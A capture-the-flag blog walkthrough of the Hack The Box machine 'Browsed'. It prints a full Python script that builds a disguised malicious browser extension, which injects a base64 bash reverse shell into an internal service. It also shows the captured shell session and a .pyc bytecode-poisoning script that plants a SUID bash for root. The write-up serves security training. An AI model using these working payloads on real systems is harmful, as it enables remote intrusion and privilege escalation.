Hackthebox: Browsed

Foued SAIDI Lv5

Overview

Browsed is a medium-difficulty Hack The Box machine that starts with a web application allowing browser extension uploads. By crafting a malicious Manifest V3 extension that triggers a command injection against an internal service, we obtain a reverse shell as larry. Privilege escalation abuses a sudo-permitted Python tool by poisoning its .pyc bytecode cache, allowing arbitrary code execution as root.

Browsed-info-card
Browsed-info-card

Reconnaissance

We start with a port scan to identify the exposed services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports open — SSH on 22 and nginx on 80 serving a web application titled Browsed.

Web Enumeration

Navigating to the web application, we find an upload functionality at /upload.php that accepts browser extension packages (.zip files). This is interesting — the application appears to process uploaded extensions server-side, likely loading them into a headless browser environment.

An internal service is also running on 127.0.0.1:5000, which we can infer from the application’s behavior. The key insight here is that a Manifest V3 extension with a background.js service worker can make requests to localhost — and if the internal service is vulnerable to command injection through its URL parameters, we can leverage the extension upload to achieve remote code execution.

Foothold — Malicious Browser Extension

We craft a Python script that generates a weaponized browser extension. The extension’s background.js service worker sends fetch requests to the internal service at 127.0.0.1:5000, injecting a base64-encoded reverse shell payload through the URL path.

1
2
3

go to http://10.129.96.96/upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
┌──(kali㉿kali)-[~]
└─$ python3 extension_create.py
[+] shell_exploit.zip created.
[+] Listener command: nc -lvnp 9001
[+] Encoded payload: echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzkwMDEgMD4mMQ==|base64${IFS}-d|bash

┌──(kali㉿kali)-[~]
└─$ cat extension_create.py
import zipfile
import io
import base64

def create_shell_extension(my_ip, my_port="9001"):
zip_buffer = io.BytesIO()

# 1. The Reverse Shell One-Liner (Standard Bash)
# We encode it to avoid breaking the JSON or the URL string
raw_shell = f"bash -i >& /dev/tcp/{my_ip}/{my_port} 0>&1"
b64_shell = base64.b64encode(raw_shell.encode()).decode()

# This is the payload that will be executed on the server
# It decodes itself and pipes into bash
shell_payload = f"echo${{IFS}}{b64_shell}|base64${{IFS}}-d|bash"

# 2. Manifest V3
manifest = '''{
"manifest_version": 3,
"name": "Security Optimizer",
"version": "1.1",
"background": {
"service_worker": "background.js"
},
"host_permissions": ["*://127.0.0.1/*", "*://localhost/*"]
}'''

# 3. background.js
# We will try both the routine path and a potential root injection
background = f'''
const ip = "{my_ip}";
const payload = "{shell_payload}";

// We send it via a background loop to ensure it fires
async function triggerShell() {{
const urls = [
`http://127.0.0.1:5000/routines/a[$(${{payload}})]`,
`http://127.0.0.1:5000/routines/a';${{payload}} #`
];

for (const url of urls) {{
fetch(url, {{ mode: 'no-cors' }});
}}
}}

triggerShell();
'''

with zipfile.ZipFile(zip_buffer, 'a', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr("manifest.json", manifest)
zip_file.writestr("background.js", background)

with open("shell_exploit.zip", "wb") as f:
f.write(zip_buffer.getvalue())

print(f"[+] shell_exploit.zip created.")
print(f"[+] Listener command: nc -lvnp {my_port}")
print(f"[+] Encoded payload: {shell_payload}")

if __name__ == "__main__":
# Change this to your HTB Tun0 IP
create_shell_extension("10.10.16.8", "9001")

The script creates a zip archive containing two files:

  1. manifest.json — A valid Manifest V3 configuration with host_permissions granting access to 127.0.0.1 and localhost.
  2. background.js — The service worker that fires fetch requests to the internal /routines endpoint, attempting both $() command substitution and '; shell injection in the URL path.

The reverse shell payload uses ${IFS} as a space substitute to avoid breaking the URL structure, and base64 encoding to wrap the actual bash -i reverse shell.

We upload shell_exploit.zip through the upload form and catch the callback on our listener.

User Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.8] from (UNKNOWN) [10.129.96.96] 60644
bash: cannot set terminal process group (1444): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ id
id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
larry@browsed:~/markdownPreview$ cd
cd
larry@browsed:~$ ls
ls
markdownPreview
user.txt
larry@browsed:~$ cat user.txt
cat user.txt
32a1d9cbe4fb5eec27c376b38b34ce9f
larry@browsed:~$


We land as larry and grab the user flag.

Privilege Escalation

Checking sudo permissions reveals that larry can run /opt/extensiontool/extension_tool.py as root without a password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
larry@browsed:~$ sudo -l
sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
larry@browsed:~$ cat /opt/extensiontool/extension_tool.py
cat /opt/extensiontool/extension_tool.py
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile

EXTENSION_DIR = '/opt/extensiontool/extensions/'

def bump_version(data, path, level='patch'):
version = data["version"]
major, minor, patch = map(int, version.split('.'))
if level == 'major':
major += 1
minor = patch = 0
elif level == 'minor':
minor += 1
patch = 0
else:
patch += 1

new_version = f"{major}.{minor}.{patch}"
data["version"] = new_version

with open(path, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)

print(f"[+] Version bumped to {new_version}")
return new_version

def package_extension(source_dir, output_file):
temp_dir = '/opt/extensiontool/temp'
if not os.path.exists(temp_dir):
os.mkdir(temp_dir)
output_file = os.path.basename(output_file)
with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
for foldername, subfolders, filenames in os.walk(source_dir):
for filename in filenames:
filepath = os.path.join(foldername, filename)
arcname = os.path.relpath(filepath, source_dir)
zipf.write(filepath, arcname)
print(f"[+] Extension packaged as {temp_dir}/{output_file}")

def main():
parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")

args = parser.parse_args()

if args.clean:
clean_temp_files(args.clean)

args.ext = os.path.basename(args.ext)
if not (args.ext in os.listdir(EXTENSION_DIR)):
print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
exit(1)

extension_path = os.path.join(EXTENSION_DIR, args.ext)
manifest_path = os.path.join(extension_path, 'manifest.json')

manifest_data = validate_manifest(manifest_path)

# Possibly bump version
if (args.bump):
bump_version(manifest_data, manifest_path, args.bump)
else:
print('[-] Skipping version bumping')

# Package the extension
if (args.zip):
package_extension(extension_path, args.zip)
else:
print('[-] Skipping packaging')


if __name__ == '__main__':
main()
larry@browsed:~$

Looking at the script, it imports validate_manifest and clean_temp_files from extension_utils — a local module in /opt/extensiontool/. The script itself is locked down, but the key vulnerability lies in how Python resolves imports.

Abusing .pyc Bytecode Cache

Python caches compiled bytecode in __pycache__/ directories. When a .pyc file exists and its metadata (source file size and timestamp) matches the original .py source, Python loads the cached bytecode without re-reading the source file. This means if we can overwrite extension_utils.cpython-312.pyc with a malicious compiled module — while preserving the original source file’s size and timestamp in the .pyc header — Python will execute our code instead.

We craft an exploit that compiles a malicious extension_utils.py replacement, carefully matching the original file’s size with comment padding and syncing timestamps so the .pyc header passes validation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Create the exploit script in /tmp
cat << 'EOF' > /tmp/exploit.py
import os
import py_compile
import shutil
import sys

ORIGINAL_SRC = "/opt/extensiontool/extension_utils.py"
MALICIOUS_SRC = "/tmp/extension_utils.py"
# Fixed the path to __pycache__ based on your previous 'ls'
TARGET_PYC = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

stat = os.stat(ORIGINAL_SRC)
target_size = stat.st_size

# The payload that will execute as root
payload = 'import os\ndef validate_manifest(path): os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); return {}\ndef clean_temp_files(arg): pass\n'

# Padding with comments to match the exact size of the original file
padding_needed = target_size - len(payload)
payload += "#" * padding_needed

with open(MALICIOUS_SRC, "w") as f:
f.write(payload)

# Sync timestamps
os.utime(MALICIOUS_SRC, (stat.st_atime, stat.st_mtime))

# Compile
py_compile.compile(MALICIOUS_SRC, cfile="/tmp/malicious.pyc")

# Inject
if os.path.exists(TARGET_PYC):
os.remove(TARGET_PYC)
shutil.copy("/tmp/malicious.pyc", TARGET_PYC)
print("[+] Poisoned .pyc injected successfully")
EOF

The poisoned validate_manifest function copies /bin/bash to /tmp/rootbash and sets the SUID bit — giving us a root shell on demand.

Root Flag

We run the exploit, then trigger the sudo tool to load our poisoned bytecode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
larry@browsed:~$ python3.12 /tmp/exploit.py
python3.12 /tmp/exploit.py
python3.12 /tmp/exploit.py
[+] Poisoned .pyc injected successfully
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
sudo /opt/extensiontool/extension_tool.py --ext Fontify
sudo /opt/extensiontool/extension_tool.py --ext Fontify
[-] Skipping version bumping
[-] Skipping packaging
larry@browsed:~$ /tmp/rootbash -p
/tmp/rootbash -p
/tmp/rootbash -p
id
id
uid=1000(larry) gid=1000(larry) euid=0(root) egid=0(root) groups=0(root),1000(larry)
cat /root/root.txt
cat /root/root.txt
68d1e3eb9387601729759c82de63485d

The sudo command runs extension_tool.py as root, which imports the poisoned extension_utils module from the .pyc cache. Our validate_manifest function executes, creating the SUID bash binary. Running /tmp/rootbash -p gives us an effective root shell, and we grab the root flag.

That was it for Browsed, hope you learned something new!

  • 0xkujen
  • Title: Hackthebox: Browsed
  • Author: Foued SAIDI
  • Created at : 2026-03-30 19:35:07
  • Updated at : 2026-03-30 19:37:21
  • Link: https://kujen5.github.io/2026/03/30/Hackthebox-Browsed/
  • License: This work is licensed under CC BY-NC-SA 4.0.